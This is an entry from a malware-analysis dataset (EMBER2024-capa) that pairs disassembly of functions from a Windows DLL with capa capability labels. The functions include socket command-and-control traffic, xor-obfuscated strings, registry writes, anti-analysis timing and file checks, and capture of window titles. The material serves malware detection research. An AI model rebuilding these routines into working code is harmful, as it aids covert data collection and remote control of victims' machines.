joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006340
Capabilities:
Connect socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
cmp dword [esi + 4], 0xffffffff
je 0x100063cb
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x100063a3
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100063a3
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.1001d4e0
add esp, 0xc
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100063df
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x100063df
mov ecx, esi
call fcn.10007300
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
push 0x23
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10006438
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x10006408
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x1000641d
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
pop edi
mov byte [esi + 0x100038], 0
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
push 0x80000
lea eax, [esi + 0xc]
push 0
push eax
call fcn.1001da60
push 0x80000
lea eax, [esi + 0x80010]
mov dword [esi + 0x8000c], 0
push 0
push eax
call fcn.1001da60
add esp, 0x18
mov dword [esi + 0x100010], 0
push 0
push 0
push esi
push 0x100061b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
mov byte [esi + 0x100038], 1
xor ecx, ebp
pop esi
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
Function at 0x10006b20
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038936
mov eax, dword fs:[0]
push eax
sub esp, 0x648
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x654], eax
mov eax, dword [0x1003b8b4]
mov dword [ebp - 0x18], eax
mov ax, word [0x1003b8b8]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x620]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10006c84
lea esi, [ebp - 0x620]
nop dword [eax]
mov ax, word [esi]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x220]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10006c70
xor eax, eax
mov dword [ebp - 0x624], 7
mov dword [ebp - 0x628], 0
mov word [ebp - 0x638], ax
cmp word [ebx], ax
je 0x10006bef
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10006be0
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x638]
call fcn.100116d0
cmp word [ebp - 0x220], 0
mov dword [ebp - 4], 0
jne 0x10006c11
xor ecx, ecx
jmp 0x10006c2f
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10006c20
sub ecx, edx
sar ecx, 1
push ecx
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x638]
call fcn.10012110
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006ca2
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x624]
cmp eax, 8
jb 0x10006c70
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.10011a50
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10006c70
cmp word [esi], ax
jne 0x10006b90
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x650]
call fcn.10003360
mov eax, dword [eax + 0x10]
lea ecx, [ebp - 0x638]
push esi
inc eax
mov byte [ebp - 4], 1
push eax
push edi
call fcn.100139b0
mov eax, dword [ebp - 0x63c]
cmp eax, 8
jb 0x10006ce8
inc eax
lea ecx, [ebp - 0x650]
push eax
push dword [ebp - 0x650]
call fcn.10011a50
cmp dword [ebp - 0x624], 8
lea eax, [ebp - 0x638]
cmovae eax, dword [ebp - 0x638]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x654]
call fcn.1002029d
mov eax, dword [ebp - 0x624]
add esp, 0xc
cmp eax, 8
jb 0x10006d2c
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.10011a50
mov al, 1
jmp 0x10006c86
Function at 0x10006d40
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, ecx
mov dword [ebp - 8], 0
push 0
mov eax, 0x80000
mov edx, dword [edi + 0x8000c]
sub eax, edx
push eax
lea eax, [edi + 0xc]
add eax, edx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x10006e0a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006d8c
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
je 0x10006da2
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 4], 0xffffffff
mov eax, dword [edi + 8]
test eax, eax
je 0x10006db7
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [edi + 8], 0
mov byte [edi + 0x100038], 0
cmp dword [0x1004873c], 0xffffffff
je 0x10006dd0
cmp byte [0x10148770], 0
jne 0x10006e03
push 0x1000bc80
mov ecx, 0x10048738
call fcn.1000c7e0
test al, al
je 0x10006e03
movzx eax, word [0x1004801c]
mov ecx, 0x10048738
push eax
push 0x1004803f
call fcn.10006340
test al, al
je 0x10006e03
call fcn.10004790
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
add dword [edi + 0x8000c], eax
cmp dword [edi + 0x8000c], 4
jl 0x10006d85
push esi
xor ecx, ecx
push ebx
lea esi, [edi + 0xc]
lea eax, [esi + ecx]
mov dword [ebp - 0xc], eax
mov al, byte [eax]
cmp al, 0xc1
jne 0x10006e39
movzx ebx, byte [ecx + edi + 0xd]
mov dl, al
jmp 0x10006e56
cmp al, 0xc2
jne 0x10006f03
mov dl, al
movzx eax, byte [ecx + edi + 0xd]
shl ax, 8
movzx ebx, ax
movzx eax, byte [ecx + edi + 0xe]
or ebx, eax
cmp ebx, 4
jl 0x10006f03
cmp ebx, 0x80000
jg 0x10006f03
cmp ebx, dword [edi + 0x8000c]
jg 0x10006ed1
cmp dl, 0xc1
jne 0x10006e86
movzx eax, byte [ecx + edi + 0xe]
lea esi, [edi + 0xf]
push eax
lea eax, [ebx - 3]
jmp 0x10006e92
movzx eax, byte [ecx + edi + 0xf]
lea esi, [edi + 0x10]
push eax
lea eax, [ebx - 4]
push eax
add esi, ecx
push esi
call fcn.1000dff0
mov al, byte [esi]
add esp, 0xc
mov byte [ebp - 4], al
mov eax, dword [edi + 0x100014]
push ebx
push dword [ebp - 0xc]
push dword [ebp - 4]
call eax
mov ecx, dword [ebp - 8]
add esp, 0xc
sub dword [edi + 0x8000c], ebx
add ecx, ebx
cmp dword [edi + 0x8000c], 0
mov dword [ebp - 8], ecx
jle 0x10006efa
jmp 0x10006e21
test ecx, ecx
jle 0x10006efa
mov eax, dword [edi + 0x8000c]
test eax, eax
jle 0x10006efa
mov edx, 0x80000
sub edx, ecx
cmp eax, edx
jg 0x10006efa
push eax
lea eax, [edi + 0xc]
add eax, ecx
push eax
push esi
call fcn.1001c5f0
add esp, 0xc
pop ebx
pop esi
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.10007300
pop ebx
pop esi
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10006f20
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.1001ae50
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov dword [ebp - 0x80008], eax
lea ebx, [edi + 0x10001c]
push ebx
mov dword [ebp - 0x8000c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 4], 0xffffffff
je 0x100070e3
cmp byte [edi + 0x100038], 0
je 0x100070e3
push esi
push 0x80000
lea eax, [ebp - 0x80004]
push 0
push eax
call fcn.1001da60
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x80004]
push esi
push dword [ebp - 0x80008]
push eax
call fcn.1001d4e0
add esp, 0x18
cmp byte [ebp - 0x80004], 0xc1
jne 0x10006fb6
push dword [ebp - 0x80002]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x80001]
jmp 0x10006fc6
push dword [ebp - 0x80001]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x80000]
push eax
call fcn.1000e090
mov ecx, dword [edi + 0x100010]
add esp, 0xc
test ecx, ecx
jle 0x10007028
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10007006
mov ecx, edi
call fcn.10007300
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x80004]
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001d4e0
add esp, 0xc
add dword [edi + 0x100010], esi
push ebx
jmp 0x10007059
xor ebx, ebx
test esi, esi
jle 0x10007052
nop
push 0
push esi
lea eax, [ebp - 0x80004]
add eax, ebx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007074
sub esi, eax
add ebx, eax
test esi, esi
jg 0x10007030
mov eax, dword [ebp - 0x8000c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100070ba
mov ecx, dword [edi + 0x100010]
lea eax, [ecx + esi]
cmp eax, 0x80000
jg 0x100070ba
lea eax, [ebp - 0x80004]
add eax, ebx
push esi
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001d4e0
add esp, 0xc
lea eax, [edi + 0x10001c]
add dword [edi + 0x100010], esi
jmp 0x10007058
mov ecx, edi
call fcn.10007300
lea eax, [edi + 0x10001c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop ebx
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 8
Function at 0x10007100
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10007152
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000715f
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x10007122
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007197
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call fcn.1001c5f0
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x100071ad
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x100071c2
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
push ebx
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret

Function at 0x100071e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
xor eax, eax
test edx, edx
jle 0x1000720e
push esi
mov esi, dword [ebp + 8]
mov cl, byte [0x10149b89]
add cl, 0xf
xor cl, byte [eax + esi]
sub cl, byte [0x10149b8a]
add cl, 0xf
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x100071f0
pop esi
pop ebp
ret

Function at 0x10007210
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038c98
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x10148be4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10148780]
cmp eax, 0x927c0
jb 0x10007255
call esi
mov dword [0x10148780], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
mov ecx, 0x100483b4
call fcn.10012320
test al, al
jne 0x100072b8
mov esi, dword [ebp - 0x1c]
cmp esi, dword [ebp - 0x18]
jne 0x100072c6
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
call fcn.1000efc0
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call sub.gdiplus.dll_GdiplusShutdown
test esi, esi
je 0x100072e1
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
sub eax, esi
push eax
push esi
call fcn.10011990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007340
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x8c], 0
mov edx, 0xf
xor ecx, ecx
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [ebp + ecx - 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x10007364
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 0x28], 0
call esi
test eax, eax
jne 0x1000742e
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x100073a0
lea eax, [ebp - 0x14]
mov byte [ebp - 5], 0
push eax
call esi
test eax, eax
jne 0x1000742e
mov edx, 6
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x100073d0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x15], 0
push eax
call esi
test eax, eax
jne 0x1000742e
mov eax, 0x1003be9c
lea ecx, [ebp - 0x70]
sub eax, 0x32593faf
push eax
call fcn.10002520
push eax
call esi
test eax, eax
jne 0x1000742e
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [ebp - 0x80]
sub eax, 0x43f2140e
push eax
call fcn.10002240
push eax
call esi
test eax, eax
jne 0x1000742e
xor al, al
jmp 0x10007430
mov al, 1
test al, al
jne 0x1000753a
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [ebp + ecx - 0x60], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10007440
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x84]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x60]
mov byte [ebp - 0x25], 0
push eax
push connect
call esi
test eax, eax
jne 0x100074bb
push 4
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
push 4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x75526f4e
push eax
push dword [ebp - 0x84]
mov word [ebp - 8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x1003bef8]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x100074c2
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x26], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x50]
push eax
push connect
call esi
test eax, eax
jne 0x1000753a
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x10]
mov eax, 0x1003bf24
sub eax, 0x38d41ae2
push eax
call fcn.10002cd0
push 4
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
push eax
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x8c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret
Function at 0x10007550
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
test esi, esi
jle 0x10007581
push edi
mov edi, dword [ebp + 8]
mov dl, byte [eax + edi]
mov cl, byte [0x10149b89]
sub dl, 0xf
add dl, byte [0x10149b8a]
add cl, 0xf
xor dl, cl
mov byte [eax + edi], dl
inc eax
cmp eax, esi
jl 0x10007561
pop edi
pop esi
pop ebp
ret

Function at 0x100075f0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x1003ba94
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x40c], ecx
push eax
or ebx, 0xffffffff
mov dword [ebp - 0x408], 0
call fcn.10020a76
add esp, 0xc
test eax, eax
je 0x10007647
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 4
push esi
push edi
nop dword [eax]
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push 0x400
push 1
push eax
call fcn.100237af
mov edi, eax
lea esi, [ebp - 0x404]
add esp, 0x10
mov dword [ebp - 0x410], edi
mov edx, edi
test edi, edi
je 0x100076a2
mov edi, dword [ebp - 0x40c]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [edi + ecx*4]
sub edx, 1
jne 0x10007686
mov edi, dword [ebp - 0x410]
cmp edi, 0x400
je 0x10007650
push dword [ebp - 0x408]
call fcn.100230b6
mov ecx, dword [ebp - 4]
add esp, 4
not ebx
xor ecx, ebp
mov eax, ebx
pop edi
pop esi
pop ebx
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 4
Function at 0x10008d60
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x294]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret
Function at 0x10008dd0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100389cb
mov eax, dword fs:[0]
push eax
sub esp, 0xc28
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc30], 0
mov dword [ebp - 0xc2c], 0
mov dword [ebp - 0xc28], 0
lea eax, [ebp - 0xc30]
mov dword [ebp - 4], 0
push eax
push dword [ebp + 8]
call fcn.100077e0
add esp, 8
mov word [ebp - 0xc24], 0xac2
mov byte [ebp - 0xc22], 0xc
call fcn.10020494
and eax, 0x800000ff
jns 0x10008e58
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc30]
xor edi, edi
mov byte [ebp - 0xc21], al
mov eax, dword [ebp - 0xc2c]
sub eax, ebx
mov byte [ebp - 0xc20], 0x21
sar eax, 2
mov dword [ebp - 0xc34], eax
mov dword [ebp - 0xc1c], eax
test eax, eax
je 0x10008f38
lea esi, [ebp - 0x718]
cmp edi, 0x14
jge 0x10008f38
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebx + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [ebx + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x114]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x218]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x208]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x1f8]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1e8]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, dword [ebp - 0xc34]
jb 0x10008e92
push 0xa0c
lea eax, [ebp - 0xc24]
mov ecx, 0x10048738
push eax
call fcn.10006f20
test ebx, ebx
je 0x10008faa
mov eax, dword [ebp - 0xc28]
sub eax, ebx
sar eax, 2
cmp eax, 0x3fffffff
jbe 0x10008f69
call fcn.100201c1
shl eax, 2
cmp eax, 0x1000
jb 0x10008fa1
test bl, 0x1f
je 0x10008f7d
call fcn.100201c1
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x10008f89
call fcn.100201c1
sub ebx, eax
cmp ebx, 4
jae 0x10008f95
call fcn.100201c1
cmp ebx, 0x23
jbe 0x10008f9f
call fcn.100201c1
mov ebx, eax
push ebx
call fcn.1001a690
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001ae3f
mov esp, ebp
pop ebp
ret 4
Function at 0x10009af0
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038a88
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x75
xor ecx, ecx
mov al, byte [ecx + 0x1003c230]
xor al, dl
mov byte [ebp + ecx - 0x34], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x21
jb 0x10009b21
mov byte [ebp - 0x13], 0
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0
push eax
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
call fcn.1000ddb0
mov eax, dword [0x100483c4]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x10009b91
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10149b64]
mov dword [0x100483c4], 0
push dword [0x100483dc]
call edi
mov eax, dword [0x100484ec]
test eax, eax
je 0x10009bbb
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10149b64]
mov dword [0x100484ec], 0
push dword [0x10048504]
call edi
mov eax, dword [0x10048614]
test eax, eax
je 0x10009be5
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10149b64]
mov dword [0x10048614], 0
push dword [0x1004862c]
call edi
push 0x2b39c0
lea eax, [ebp - 0x34]
mov ecx, 0x10048610
push eax
push 1
push 0x808080
push dword [0x10149b64]
push 2
call fcn.1000f5b0
push 0
push 0
push 0x10048610
push 0x1000f380
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x10048618]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x10048618]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10048614]
test eax, eax
je 0x10009c6e
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10149b64]
mov dword [0x10048614], 0
push dword [0x1004862c]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call esi
push eax
call 0x1000f8d0
jmp dword [pe_dos_header]

Function at 0x10009cb0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10148be4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0x49
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.:__8__8_q]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x10009cd0
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000f8d0
jmp dword [pe_dos_header]